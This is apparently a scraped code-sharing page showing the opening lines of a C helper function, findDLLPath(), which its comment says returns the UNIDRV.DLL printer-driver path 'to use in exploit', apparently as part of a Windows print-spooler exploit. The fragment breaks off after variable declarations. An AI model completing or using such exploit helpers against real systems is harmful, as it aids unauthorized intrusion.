This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// It is returns DLL path, you can use that value in exploit. | |
// Example return value: C:\WINDOWS\System32\DriverStore\FileRepository\ntprint.inf_amd64_xxxxxxxxxxxxxxxx\Amd64\UNIDRV.DLL | |
wchar_t* findDLLPath() { | |
wchar_t targetDLLPath[MAX_PATH] = { 0 }; | |
DWORD dwNeeded; | |
LPBYTE lpDriverInfo; | |
DWORD dwReturned; |